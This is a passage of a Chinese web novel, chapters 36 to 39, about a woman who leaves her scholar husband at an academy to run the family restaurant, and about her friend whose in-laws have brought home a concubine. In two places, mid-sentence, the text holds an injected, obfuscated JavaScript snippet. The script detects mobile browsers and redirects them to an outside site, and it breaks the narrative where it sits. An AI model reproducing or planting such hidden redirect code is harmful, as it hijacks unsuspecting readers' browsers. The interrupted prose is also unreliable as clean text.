“你以为人人都跟你一样,非要把话说得这么明明白白了。山长的话再绕,你我听懂不就行了。” 山长是个讲究雅致的小老头儿,即便不同意也不会直喇喇的说出来。人家要的是闻弦知雅意,什么事情说的太直白反而不美。 也正因如此,听了山长的教训裴元也半点要改的意思都没有。当学生的哪有那么听话的,师长跟前乖乖听着便是,回过头事情该怎么办,还得靠自己。 裴元的态度摆在这里,次日他再去找山长问不懂的功课,找李院监说谢家儿郎想要来书院读书的事,两人就都明白裴元的回答,也再不多言什么。 路是自己走的,脚上磨出来的血泡再疼也得他自己忍着,旁人多说无益。倒是谢文济的文章被李院监看过,便点头答应让他来书院旁听。 先跟着童生班黄班的学生旁听半年,半年以后再考试,考试完了定去留。 跟着裴元在书院里住了三日,下山回城的路上谢九九一再犹豫,话到了嘴边好几次又咽回去,直到马车都进城了,谢九九这才歪过身子一把箍住裴元。 “大热的天这是做什么,听话些,回家了再做?” “去你的,做什么啊就做,这大白天的。” 在书院里两人再离经叛道也不好做那等事,裴元此刻只觉得谢九九贴在自己身侧,明明什么都没干,他都有些莫名其妙的口干舌燥。 “我是要跟你说个事。” “什么事?” 无事献殷勤非奸即盗,裴元有些警惕的看着几乎整个人都要挂到自己身上谢九九,剑眉高高扬起几乎要从眉骨上挑飞出去。 “哎呀,我能跟你说什么事,还不都是家里的事儿。” “那你先说说看。” 在一起的时间越久,越能摸准谢九九的脉。别看她这会儿嘴上说得轻松,说出来的话肯定要戳人肺管子。 果然,谢九九一再强调没什么事的‘小事’,居然是打算扔了裴元一人在府城她先回家去。 府城的事说来也料理得差不多了,跟关氏的关系说不上好但也绝不算坏。 等关家人来了以后裴元跟不跟关家人去京城,是继续当谢家的女婿还是去当关家的表少爷,这事只在乎裴元愿不愿意,关氏不会也没有能力左右她儿子的决定。 那自己老待在府城做什么,家里还一堆的事儿呢。 36.第 36 章 “你是说你先回去把文济送来?” “文济都十三了,我看书院里十二三的儿郎多的是,不用我再送一趟吧。” 县城天天都有往府城来的马车商队,文济要去书院读书,带的一应行李包袱多些,顶多给他单独租上一辆马车,实在不放心就让何奎再多跑一趟,耽误不了两天。 “谢九九!”成亲这么久,裴元第一次动了真火。他有些不可置信的看着自己的妻子,“你、你你,你就这么把我扔在府城了?” “话别说得这么难听啊。什么扔不扔的,这不是家里有正事嘛。” “你说要是娘这边不用等京城的信,那我是不是就可以把你带回去了。 我也不想一个人回去啊,咱们出门的时候我娘还千叮万嘱的,生怕我把人弄丢了。现在我一个回县城,还不知道要怎么解释呢。” “再说,这三天在书院我见你读书落笔都比在家中更快更好,你留在府城还能来书院多跟先生请教,娘那边有事差遣个人来山上送消息便是,是不是比你跟我回去要方便。” “哼!” 裴元脸色依旧不好看,冷冷哼了一声也不知道谢九九这狡辩的话他听进去了几分。“不想一个人回去就不回去,多留几天怎么了。” 多留几天耽误赚钱啊!!! 这几天在书院里,裴元除了去山长和几个先生处请教问题,其余大部分时候都在跟昔日同窗们交际往来,客院里再是留下来的家眷少,但多少还是有。 裴元出门会友,谢九九也认识了几个秀才娘子。谢九九怎么说都是当了云客来掌柜的人,怎么捧着人说话她多懂啊,没两天就从那几个秀才娘子口中,套出不少话来。 别的都还好,只供养一个读书人到底有多花钱,她听着手心都直冒汗。 以前以为的那些笔墨纸砚书本束脩,考试的路费和各项杂费全是最基本的,都不值当拿出来来说,大头的花费全在看不见的地方。 县试之前要找五名本县廪生作保,这五个人要不要提前结交,就算自家有大舅在衙门里的关系不难找这五个人,可除了结保银子以外,还得请人吃顿饭送点东西吧。 要是能考中秀才,平日里跟同窗同科之间的往来交际,参加同县举人办的文会诗会,不说次次都去,五次里总要去上一两回吧。 裴元跟这些人有了往来,自己跟他们的家眷就也有了关系,婚丧嫁娶这些人情往来难道都不去?不可能的。 要不然等有事的时候人家什么都不跟你说,错过了什么都不知道。 再加上逢年过节给老师们县衙的老爷们的孝敬,每次在家算的时候都算得好好的,等真花销起来就知道了,花出去的钱只有多没有少的。 云客来现在一年才赚多少,够不够裴元和谢文济读书用的? 家里还有这么几口人要吃饭,娘的年纪渐渐大了,说不得有个三病两痛花钱的地方就更多了。 还有芝娘,自己的婚事定得急办得也着急,很多地方能带得过的就带过去了。以后芝娘嫁人肯定不能这样,就算她十八岁出门子,那是不是十六岁就得把亲事定下来。 十六岁定下来,提前两年相看也不算太着急了,芝娘的嫁妆也要准备。 家中大姐留在家里招了女婿,老二是儿子,家里的田产家业自然少不了他的。轮到芝娘这个小的,不说给得多么丰厚却也着实不能少了。 还有自己,家里人人都要花钱难道自己就不要了? 一年四季每季做两套新衣裳不算多过分事情吧,胭脂水粉香丸首饰,以前做姑娘的时候都有,不能说成了亲招了女婿反而用不上了吧。 再有零嘴,家里和云客来做得再好吃,那也不能只吃家里的,是不是总也要花钱买些外面的东西。 谢九九掰着指头一条一条给裴元算,“你就说家里哪一件事不要花钱,人家关家在京城当大官,我这已经处处都比不过了。 要再不多赚些银子,你就是留下来人家是不是也得背地里说你蠢,不知道选高枝儿去攀。是不是还要说我奸,明知道给不了你好的,还要强留着你。” “谁说你比不过,我要你比什么了吗。” 本来这话说出来是为了哄裴元点头让自己回去,却不想反而把人给惹毛了。 他有些控诉地看向谢九九,想发脾气又觉得落了下乘。人家跟自己讲道理讲得理直气壮,好似那天夜里背对着自己说那番刨心肝话的人压根不是她。 “你就不怕你不在,我到时候真的被人哄骗去了京城就再也不回来了。” “我在,他们真要哄你我也不能拿绳拴着你啊。” “谢九九!!!” “在呢在呢,别喊啊,车外面还有人呢。” 裴元被谢九九气得心尖尖都疼,活像是一拳打在棉花上,自己手疼得发麻她什么事没有。 “你真不能跟我一起回去,老二过来什么都不懂,不得你这个当姐夫的送他去书院,那么多先生还有院监你好歹带着他都去见一见。” “不说要人家多照顾老二,好歹别让人欺负他,是不是。” 是什么是?哦,把我扔府城不管你自己回去了,再把小舅子给弄来,还说得好像没自己带谢文济去书院就不行了一样。 可明知道她是在糊弄自己,裴元心里却还是被她糊弄住了。 马车停在小院门口,夫妻二人从车上下来,裴元的脸色不大好看,却也主动往关氏屋子里去,把谢九九要先回容县的事给说了。 谢九九说要走,就是真的要走。尽管裴元尽量收敛了心里的不痛快,可第二天站在小院门口,脸上还是带出几分不乐意来。 “这幅样子做什么,过几天文济就要来了,你别冲他也拉着个脸。” “我只对你这样,你别拿文济来挤兑我。” “行了,昨晚上不是都说好了,要是京城来人来信了,你找人往家里去我马上就来。这还不行?” “从府城到县城大半日,从县城到府城又是大半日。” “加起来便是两日不到,快得很!” 裴元这厮精明得很,故意当着关氏的面摆出这幅不情愿的样子。要是在依着他的继续掰扯,说不定就真走不了了。 谢九九强行扯开裴元拉着自己的手,转身一把握住关氏的腕子。 “儿媳不在娘千万别委屈了自己,要吃什么要买什么尽管让远舟去,要是有什么府城没有的,您就托人告诉我一声。县里靠着码头,什么东西都能弄到。” 话都说得这么好听了,关氏再有什么话也不好说了。儿媳妇这么放心把儿子留在府城,半点不怕自己跟儿子跟着关家走了,这还有什么好说的。 谢九九糊弄住两人,转身就上了马车。直到马车在巷子口转弯看不见了,关氏才 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这事要掰扯,就永远掰扯不明白。只有等到事情有个结果,裴元回来或者不回来,到时候自然而然就有个结果了,现在说再多又有什么用。 谢九九拒绝再车轱辘话来回说,只说累了累了就躲回前院屋里去了。 等第二天一早,三下两下吃过早饭又跟屁股后头有人捻着她一样出了门,说是有大事找何奎和秦娘子商量,关乎云客来的未来浪费一天都不行! 谁知好不容易躲开了家里那几人,还没到饭点进客的时候,自己从小玩到大的手帕交又穿得跟个花孔雀一样,蹭蹭蹭的进了云客来。 “你这人,怎么真就一个人回来了。我昨天听家里婆子说你回来了还不信,方才去你家问了才知道。” “又来又来,昨天到家我娘和文济就跟在我身后絮叨了一整天,我这好不容易躲出来图个清净,怎么你又追来了!” “我来吃饭不行啊,你这云客来是不是不做生意,不做我就走了。” “五花肉焖茶树菇、香煎嫩鱼仔、剁椒蒸芋头,再来个蚬子汤,行不行,够不够黄大娘子吃的。” 茶树菇是今天早上刚送到的,像云客来这样的饭庄每天的菜牌都不一样,除了那几个固定的大菜其余的都是随着季节和时令来变。 “行,这个你来安排。再加个石灰蒸蛋,石灰水你给我调,别烧口啊。” 来找谢九九的年轻妇人姓黄名金珠,她还有个弟弟叫黄金宝,娘家在县城是开金铺的,算是县城里一等一的富户。 她家这个黄跟黄娟这个黄没什么关系,两家会认识全靠谢德昌那些年一到年底,就要去黄家的金铺里给妻子孩子买金器,时间一长两家自然就熟了。 黄家就生了一女一儿,听这个名字也知道家里对这俩孩子有多喜欢。 黄金珠她爹受了谢德昌的启发,人家一年给孩子置办一样金器,他就一个月给他姑娘添一样,这么多年从没有哪个月落下过。 前年黄金珠出嫁的时候,听说光是这些年给她攒下来的金货就装满了两个大匣子。 之前谢九九成亲,她提前送了一支赤金的簪子过来,老粗一根金簪样式只能说着实贵气,赤金的簪子拿在手里都坠腕子,那金子有多实诚,两人之间的情谊就有多实诚。 所以这会儿黄金珠找来,谢九九嘴上嫌得不得了,身体还是很诚实的去后厨调了一碗石灰水准备给她做石灰蒸蛋。 37.第 37 章 后厨的菜都是提前准备好了的,进了厨房谢九九挽起袖子准备炒菜,坐在一旁小凳子上抽水烟的老韩见状要起身,被她连连摆手给拦了。 “是金珠那丫头过来了,她嘴刁得很。等会儿她嫌东嫌西的,您老没必要受她这个,还是我来吧。” 黄金珠娘家开金铺的婆家开当铺的,家里光是供她差遣的厨子都有两个,晚上半夜三更馋了饿了得有人随时伺候着。这么个金娇玉贵养大的姑娘,口刁着呢。 不过她也不是不吃,就是吃的时候喜欢唠叨。每道菜她都得点评一番,这个咸了那个淡了,这个过油过大了那个炒得太生了。 哪怕样样都好,她也能说之前在哪哪哪儿吃过一道一样的菜,那一道就怎么怎么着,反正那挑剔劲儿特别烦人。 老韩是之前云客来生意不好的时候,告假回了老家一个多月没见回来的那个大厨。 谢九九跟裴元去府城这段时间人家又回来了,为什么回老家人家没说,回来以后也不谈别的,只说厨房的事有他和大头在,让东家尽管放心。 老韩回来待了大半天就看明白了,谢九九做东家,哪怕天天都能在云客来守着,也一定会在扶持一个自己人钉子一样钉在饭庄里。 这个人只能是女人,秦娘子的话大家伙想不想听都得听。 偏生秦娘子自己是个能干人,虽不是个多泼辣厉害的性子,但她做事有她做事的章法。谢九九没在县城的这段时间,云客来的大小事情都是她在料理。 再加上丈夫何奎在码头上混得开,有什么事情给半个炊饼给街上的小乞儿,不过一小会儿人家男人就能从南门过来。 就算他不在,码头上也还有跟着何奎干活的小兄弟们,随便来一个叫上一声嫂子,搭把手的活儿一下子就给人干完了。 所以这话是老韩跟秦娘子说的,意思也不是仅为了谢九九放心,而是他这个掌勺的大厨跟秦娘子服软。 他管着厨房从今往后不撂挑子,秦娘子管着前面他不仗着是饭庄里的大厨是老资格了就给她挑刺,只要东家能把云客来维持下去,大家不丢了饭碗就行。 “韩叔,我婶子的身子怎么样了,要是好了还是把人接到县城来呗。在城里住了多少年了,一下子回乡下给媳妇带孩子,能习惯嘛。” “嗐,以前东家没成家,有些话我也不好说。现在您成家了,有些事真就瞒不了您,只能跟您念一念。要不然憋在心里……” 有些话不问还好,一问老韩就憋不住了。苦水总算有了个能倒一倒的地方,且停不住。 “咱们云客来这都多少年了,我家那婆娘一直跟着我在县城里住,说实在的这些年家里开火的时候都不多。” “那是,咱们做这份买卖的,每天备的菜肉只能多不能少。要是开着饭庄还让大厨饿着那成什么了,说出去都叫人笑话。” 都说厨子不偷五谷不收,厨子大多数时候用不着偷。每天饭庄关门落板,厨房里剩下的菜都是大厨先分,其余的剩下了才是秦娘子他们分。 不说天天大鱼大肉的带回去,隔三差五一顿肉总能有的,在县城里就算是不错的日子了。 老韩的手艺不差,但是学厨的时候学的就是口味菜土菜,精细的活儿他做不来,更高档的酒楼饭庄他去不了,也就一直安心待在云客来。 这次突然回乡,一是因为云客来前段时间不稳,生意不好他起了要走的心思。二也是因为家里老幺的媳妇生了孩子,就干脆带着老妻回了一趟乡下。 想着看看自己回去了,有没有新东家去请。要是实在没有,在家替儿子媳妇带孩子,这日子也能过。 老韩当了这么多年的厨子,在乡下买了不少田。 生了两个儿子一个女儿,大儿子跟老韩学了手艺,现在在隔壁县的饭庄上当厨子。大女儿嫁了,夫家是个漆匠,也是个吃手艺饭的。 只有小儿子从小被他奶和娘惯坏了,学厨子不是个轻省的活儿。刚开始的时候光是刀工就苦,切到手是家常便饭的事,没切着那就是没用功。 掌勺了,一年四季天天站在火灶旁,也就冬天能舒服一点儿,但也是烟熏火燎的,人都要熏入味儿了。 一口大铁锅要颠腾起来需要多少力气,当厨子的时间长了谁肩膀手臂上没老伤。 这个苦头老幺吃不下来,到了该说亲的年纪留在县城说不上好亲事,就哼哧哼哧的跟老韩说他愿意回老家,帮他哥看着家里的田。 早在家里老大成亲的时候,老韩就做主给两个儿子分了家。乡下的田是早就分好了的,现在老幺说要回去给他哥看着田,心里打的什么主意一家子哪能不知道。 毕竟是亲生的兄弟,这几年只要老幺给老大的稻谷够数,其余田里的产出老大是不过问的。再加上他自己家里的田,在乡下的日子不可能不好过。 老韩摇了摇头,一口气叹得老长,“不是我们当老的嫌儿子没出息,没出息就不能给他在乡下买那么些田。 可人家成了家有了媳妇孩子,他们就成一家人了。一年那么些进项,不是说你要怎么供着我跟他娘,三天五天的吃个肉不为难他吧。” “要说乡下不是天天杀猪没那么多肉,我那老婆子馋了想吃个鸡蛋,都要被媳妇子当着面摔筷子。 说什么家里的活都是她男人在干,我和他娘都是在家吃干饭的。又说什么家里偏心了老大,把好田都给了老大。偏疼大闺女,不知道背地里给了多少陪嫁。” 只有什么都没学成只能在家务农的老幺,吃了插秧种田的苦了,才后悔当初没把手艺学出来了。 可知道了也晚了啊,小儿媳妇过门之后肚子就没停过,一口气生了两个孩子,还不是要家里老婆子帮忙回去带孩子。 自己这回先上来踏踏实实回了云客来,就是看准了这个小儿子靠不住,要是真的回去养老日子肯定过不下去。做生又不如做熟,还是回来强些。 “既这样,那婶子就别待在家里了。乡下一个村的,给几个钱就有人肯帮着带孩子。韩叔你把婶子叫回来,等咱们那个档口改好了,让婶子帮我管着那边呗。” 早上出门,谢九九直接去了秦娘子家里。跟她和何奎说了想要秦娘子管炸货档口的事,她却一口回绝了。 还顺势说了韩叔跟她说的话,意思是这个档口要么让韩叔的徒弟来,要么让韩叔自己家里人来,她不好插手。 饭庄的前头和后厨说是一体的,只有干活的才知道这里面多多少少有暗流涌动。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307933|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个档口归老韩做主,每天的鲜货和送货跑腿归何奎,这样才平衡。 谢九九喜欢用秦娘子和何奎,老韩是看在眼里的。 他本以为这个档口弄起来也是秦娘子负责,现在一下子让自己来管,老韩整个身子都震了一震,也不管谢九九说什么黄金珠口刁的话,立马就把锅铲给要了过去。 “东家您就放心吧,我这手艺虽说上不了大台面,一个炸货的档口还是绰绰有余,要是干得不好,您拿我的不是,我肯定不打半句反口。” 谢九九要的就是他这个态度,把事情说了得了他的保证就行。也不跟他抢掌勺的权,转身出了厨房就往前面忙活去了。 黄金珠吃了饭,去云客来后边谢九九休息的小屋子里打了两个盹儿,直到饭点过了客人都走了,谢九九才端着一小碟刚出锅的撒子和葱油饼进来, “这么香,你的手艺吧。” “嗯,中午老韩教我做血鸭的秘方,我给他说怎么烙这个饼。” “也不知道你怎么就这么喜欢赚钱,一天天的心思全放在这上面了。” 吃饭的时候,坐在二楼雅间里正好能听见临着后巷的小窗外的说话声,是何奎和秦娘子商量窗户怎么改门能快些。 工人匠人都是现成的,真要动工了何奎肯定要整天守在这里,但即便是这样到时候临街的这半边肯定还是要用东西围起来,到时候云客来就是开门肯定也影响生意。 所以得抓紧,赶紧把门和灶台改出来。到时候不光是单改一个小门,还得把冲着外面的档口和里面给隔开,别让炸东西的味道窜得到处都是,就得再加一个烟道往上走才行。 夫妻两个你一句我一句的商量,等商量得差不多了,何奎接过秦娘子给的两个夹了卤肉的炊饼赶紧又走了,活要抓紧材料得先备齐。 屋里摆了两张躺椅,就是给黄金珠备着的。谢九九挑了一根炸得特别酥的撒子捻在手里,一边看黄金珠一边挤兑她。 “不赚钱怎么办,我家要是也有个金铺我也省心,好日子谁不会过啊,给我个金铺我比谁都会当闲人。” “那也不能光赚钱,今天去你家找你,你娘拉着我说了好久,都是说你不该扔下你那女婿自己回来了。” “你别太不当回事,你以为你今年办的这桩桩件件的事,有多招人喜欢?背后多少人等着看你的笑话呢。” “看就看呗,这几年看笑话的人难道少了?” 自家爹爹是得急病死的,有人可惜他正值壮年没了性命,就有人背地里说风凉话,连什么谢德昌命格弱担不起这份家业,要是他家没钱说不定还能保住这条命的话都说出来了。 两张摇椅越摇越默契,连翘着脚的方向都是同一边。谢九九耐心听金珠啰嗦自己,直到她把能说的都说完了,谢九九这才侧过头牵住她的手。 “你说说,今天过来到底因为什么事。” “我能有……”黄金珠下意识就要遮掩,话说到一半看向谢九九的眼睛苦笑一声,才彻底卸下伪装,“你说我也是,跟你跟前还装什么呢。” “你前阵子不在,我家多了一口人。” “谁啊。” “多了个姨娘,良家子,专门纳回来为了继后香灯的。” 38.第 38 章 “为什么?” 为什么,是谢九九听到这话之后最本能的反应。 黄家在县城是数一数二的大户,要不是金珠的弟弟黄金宝实在不是个读书的料,在生意一道上也算不得多机灵,黄家的金铺早就该开到府城去了。 黄金珠嫁的罗家是开当铺的,做当铺的生意自古以来就是黑白通吃,家底子得硬身后的靠山也得硬,要不然掌柜的要是看走了眼,这铺子说不得就没法开了。 黄家和罗家联姻,真就是处处都合适。罗家对黄金珠也一贯不错,就连跟谢九九这样的手帕交私底下说话,也不曾听她说过罗家的不好。 “你们成亲才两年,为什么这么着急。” “两年还不够久吗。” 黄金珠下意识就反问了一句,问完了才发现谢九九是真的觉得两年时间很短。 并不像家里人那般嘴上说着‘你们成亲时间还短,自己还跟小孩子一样没定性,且不着急要孩子’,但背地里却已经托人给丈夫找好了人,甚至那家人连罗家给的纳妾礼都收下了,自己才知道。 “到底怎么回事,你跟我仔细说清楚。” “那家姓张,是罗家的佃户。家里三代都是给罗家做佃户的,张氏的爹算是罗家的小管事。 前些日子公爹带人去下乡看今年稻谷的收成,也不知道是谁在他跟前说起张家多子多福,才把这事给勾起来。 又说什么张家有个待字闺中的姑娘,身子强壮是个宜男之相。公爹从乡下回来把这事跟我婆婆一说,这事自然而然就成了。” 黄金珠名字取得大气,一听就像个珠圆玉润丰肌玉骨的姑娘,其实她身段挺纤细婀娜的,反正站在谢九九身旁,怎么看谢九九都要比她大上一圈。 倒也不是谢九九胖,就是骨架子看上去更大些。所以这会儿一听她说那个张氏有宜男之相谢九九就明白了,罗家不光是着急抱孙子,他们家还是怕黄金珠身段纤细,到时候生孩子的时候有意外。 “罗永也肯?” “他有什么不肯的,又不要他与人做妾。” 黄金珠跟罗永也是从小相识,说两人是青梅竹马并不为过。谢九九问起他,黄金珠眼眶顿时就红了。 “他们家的人坏得很,我婆婆先把我找过去说了这事,又说什么要是我不乐意这事就作罢,那银子就当是扔到水里,家里不在乎那点银子。” 这话听得黄金珠脸憋得通红,也没能说出反驳的话来。当婆婆的给儿子纳妾,正经论起来不跟当媳妇的说也不是什么大事。现在人家硬话软说,自己又能怎么办。 而后等回了自己院子,丈夫又一副可有可无的做派跟她说,没必要惹得爹娘不高兴。不过一个乡下丫头,纳回来也就是多一碗饭的事,裤腿上的泥巴都没洗干净,他是再不去她房里的。 或许是被逼无奈,又或许是真被罗永的话哄着了,反正隔天张氏就被一台小轿抬进罗家成了姨娘,而口口声声说着嫌人是农家女的罗永,隔了没几天就在人家屋里歇下了。 “你看,我和罗永自小认识日子都过成了这样,你和裴元……” 黄金珠知道这话不好听,可还是咬咬牙继续往下说,“你和裴元这点情分又能经得起多少风雨,你得把人攥紧了啊。人家真要是跟着关家走了,下一个可就更次了。” 下一个,为什么还会有下一个。现在云客来是自家的了,谢家那几个老东西不是病着就是失了势,族里的私塾只要维持一天,自己就一天有所倚仗。 说得难听些,自己要是个没良心的厌弃了裴元把他一脚蹬了又如何。女子不嫁不成亲那就是有罪,可没听说过和离了的妇人不再嫁还有人逼着的。 “我知道你说这些都是为了我,换个人就不说这些讨嫌的话了。” 不过这话没必要跟黄金珠说,人都已经纳回家了,说得再多也是徒增她的烦恼。再说黄、罗两家不光是姻亲,还是生意场上的伙伴。 买卖不成仁义在这句话,用在黄金珠和她丈夫身上也很合适。 恩爱不成交情还在,她方才劝自己的那些话何尝又不是说给她自己的听的。真的和离回了娘家,她下一场姻缘又在何处。 她过不了也不想过自己这样整日都得抛头露面的日子又不是错,本就是千金万金的小姐,凭什么要她来顶门立户。 “你知道就好,我就怕你嫌我啰嗦。” 谢九九突然这般乖顺通情,黄金珠反而不好意思起来。本来还想继续往下说的话也不知怎么开口,还是谢九九见她这幅不爽利的模样主动问,她才拉着谢九九的手开口道。 “我听婶子说你家裴元在青松书院跟先生们关系都不错,你说我让罗永也去青松书院读书怎么样。到时候我也跟过去,在山下买个小宅院雇上两房人,这日子能不能过。” 黄金珠也不傻,公婆的意思不好违逆,进了门的姨娘她也不能把人怎么着,甚至连丈夫要睡到张氏房里去她也只能看着。 闹没有用,两人夫妻恩爱的时候自己怎么作兴怎么闹在罗永眼里都是趣意,可要是自己拿他去张氏那里跟他吵,用不了多久,本就已经摇摇欲坠的夫妻情分,恐怕就更剩不下什么了。 所以唯一的办法就是躲了吧,罗家一直在供罗永读书,他们家倒不是非要罗永考上功名,人家是奔着人脉关系去的。 读书人的圈子讲究师承和同窗情谊,越往上走越是如此,就好比京城里许多会馆都是各省各府出资办的。 同一个地方出去的学生有什么事情都能去会馆,只要不是太过为难的事情,你自己又不是一事无成一点未来的价值都看不到,就总会有人搭把手的。 罗永一直在读书为的就是这个,自己考不中没关系,自己的老师自己的同学以后能考中就行了。 罗家有钱,考中的同窗却不见得家家都殷实,罗永跟他们搞好关系,每每有同窗考中秀才他都要送上丰厚的礼物, 都说礼多人不怪,即便大家明白他图的是什么,可人家好言好语陪着好话还主动送礼上门,罗家又不是那等仗势欺人的人家,他的好意没人会推拒。 黄金珠比谢九九大两岁,罗永比黄金珠大一岁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311104|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听说他现在的同窗里就有三个考上了秀才的,这再过几年会不会有人考上举人老爷,还真说不准。 “青松书院山脚下环境不错,大部分田产都是书院的产业,佃农也多是给书院种田,那附近不管是买还是租个农家小院都可以,只看你受不受得了不住在城里的日子。” 去书院读书,不管家在没在府城的一月只有两日沐休。那两天随便学生留在书院还是出去玩儿。 要是家离得近的又成了家的,在院监那里报备过了就能凭令牌出书院回家,只要第二天别耽误了上课就行。 “这个不要紧,他回不回来也就那样吧,只要能把他跟张氏隔开就行。” 黄金珠以前不是这样的,以前她还没跟罗永成亲的时候,每次跟谢九九提起她的未婚夫,眼底眉梢全是浓得化不开的笑意。现在谈及二人之间的事,眸中却一点波澜都无了。 “你是想跟过去,赶在张氏之前把孩子生下来,对不对。” “对。” 自己家里跟罗家门当户对,自家的家底子仔细论起来比罗家要强一些,黄金珠本以为这些都是她的倚仗,却不想原来这些什么用处都没有。 自己在公婆眼里,还不如一个骨架大胯宽好生养的农家女。而自己眼下,除了比张氏先生出一个孩子来,也没有一点办法。 “还有就是想你跟你家裴元打个招呼,要是罗永真的去了青松书院,还劳烦他多多看顾。你放心,罗家别的都不说,但手里大方是出了名的。” 说了这么多,黄金珠今日过来的所有意思谢九九终于彻底弄明白了。 一是真心实意的劝自己,抓紧了裴元别让他跟着关家走了,这么一个上门女婿过了这个村就没有这个店了。 二是把憋在心里的苦同自己诉一诉,这些话她没法回娘家说,真要回了娘家就闹大了。更没法在婆家表现出来,现在她这个做正妻的,不管是着急还是生气,表现出来一丝都是落了下乘。 三、也是最重要的一点,她是想借自己的关系让裴元给罗永牵线搭桥,让他能心甘情愿放下县城的关系人脉,安心去青松书院。 既能让罗永知道她这个妻子除了家世好,在外也能替他结识他攀不上的关系,也能让裴元从罗永手里得些好处。 毕竟给外面那些人也是给,给谢九九的夫婿也是给。给了裴元,裴元多多少少还得花在谢九九身上,这不比给别人花了强? “你的意思我明白了,过几天老二就要去府城,我让他带封信给裴元。做生意的事他不成,读书的事我不成,我肯定给你把这事好好的说,但他俩投契不投契,我不给你保证。” “行,只要你肯去信,他们读书人之间的事,让他们自己处理。” 这话听得谢九九没忍住笑出了声,黄金珠愣了一下才反应过来她笑的是什么,抬手就在谢九九肩膀上锤了两下,“你这人,真坏。” “我坏什么了我坏,我可什么都没说,是你自己猜的。” 就罗永还是读书人,这话幸好也就说给自己听听,真说出去谁不笑话。 39.第 39 章 白天黄金珠说了那么多,谢九九多少还是往心里去了的。又过了两日,谢文济带着大包小裹的要往府城去,谢九九往弟弟手里塞了一个装得满满登登的荷包。 “姐,我有银子,娘都给了。” “不是给你的,你把这个给你姐夫。” 荷包里大部分都是碎银角子,加起来有一二十两,还有一卷宝钞加起来也有十两银子,再有就是一张一百两压箱底的汇票。 汇票可以拿着去府城几个大钱庄兑银子宝钞,他一个人在府城就怕有个不趁手的地方,给银子比给什么都强。 这几天谢九九忙着云客来的事,谢文济要去青松书院读书,都是黄娟和芝娘在家张罗收拾行李包袱。谢九九没管,一家子都觉得她是真没把裴元往心里搁。 “我还以为你真不管姐夫了呢。” “我不管谁管,你跟他说……” “算了算了你别说了,要说的话我都写在信上了。信你别半路偷看啊,好好的给人家,记住没。” “记住了记住了,我们读书人哪能偷看别人的信啊,你别操这个心了。” 给了信又给了银子,谢文济这一下就放心多了。也不觉得离家有多难过,爬上马车就走,心里满是对府城和大书院的憧憬。 谢文济高高兴兴进了岳州府府城,被何奎和马夫直接送到了小院门口。 谢文济长得跟谢九九有五六分像,和以往一样搬着小凳坐在门口的唐寡妇一看就知道是谁,正要起身进去喊裴元出来,却被谢文济红着脸一把给扶住了。 “大娘您慢些,天气热站起来别太着急,当心头晕。” 要来府城求学,黄娟拉着儿子叮嘱了许多,其中最要紧的就是到了姐夫他娘的家里要殷勤些勤快些,眼里要有活儿,实在不会干就嘴上热闹些,别木头一样这也不行那也不行。 不要因为有你姐夫,就和在家里一样当少爷,出了门你就是个读书读得半桶水,什么都要人操心的半大小子。不说人人都喜欢你,但千万不要惹人厌烦。 谢九九长得好,谢文济的皮相自然也非常拿得出手。 平时巷子里来来往往的大小伙子们,懂礼貌的规规矩矩喊一声唐婆婆唐大娘,然后赶紧快赶进步走开。不懂礼貌的低着头贴着墙角走过去,只当没看见这个脾气不好性子古怪的老寡妇。 像谢文济这样主动亲近的还真是头一个,哪怕是裴元,这几年对唐寡妇也一直都是礼貌有加,亲近却是办不到的。 “我没事。”唐寡妇不用谢文济搀扶,但面上的神情还是肉眼可见的缓和下来,“是谢二爷吧,你姐姐前几天回去之前就跟我说了,这几天家里都等着谢二爷来。” “我才多大年纪,大娘快莫叫我什么爷,您唤我二郎就行了。我在家中行二,底下还有一个妹妹。” “那行,就听谢家二郎的。” 裴元听见门口的动静,从书房出来时就已经看见一老一小一边说话一边从门口进来。 唐寡妇那个装针头线脑的小篓子这会儿正被谢文济拿在手上,不认识的人见了恐怕还以为他俩就是正经祖孙。 “姐夫!” 谢文济是真想裴元了,家里多了裴元以后谢文济每天总要缠着他姐夫说说话,要么把裴元拉去自己的书房,要么就赖在前院裴元的书房里,赖到天都快黑了再回后院去。 “怎么才来,是不是家里有什么事。” “没事啊,娘说要去书院读书,恨不得把家里能带上的东西都给我带上,光收拾四季要穿的衣服就收拾了一整天。” 裴元嘴上问着谢文济,眼睛却看向他身后,看着何奎往院子里搬东西,又朝他微微摇了摇头,一直悬着的那颗心才终于死了。 “你姐在家可还好,云客来忙不忙,她可曾让你给我捎带东西了?” 要不说小别胜新婚呢,天天在一起的时候只觉得趣意多,没觉得身边少个人就能如何,要不然谢九九说要走,裴元也不会只是不高兴却没拦着。 等人真的走了,夜里一个人躺在床上才知长夜漫漫何其难熬。明明也不是想着那档子事,可就是觉得身边缺了个人,连同心里也空荡荡的,不像话! “带了带了,带了好多呢。” 谢九九写给裴元的信被谢文济贴身放了,就怕路上有什么意外把信封信纸给污了,那就罪该万死。 “信是姐姐在前院书房里写的,我想看她还不让,家里没什么大事云客来也好着,不知道写了什么这么厚厚一沓。” 信给了裴元,谢文济又从随身带着的书箱里把装银子的荷包拿出来,“这也是姐姐给的,她说你在府城用钱的地方多,要用钱了千万别小气,实在不够里面还有一张汇票。” 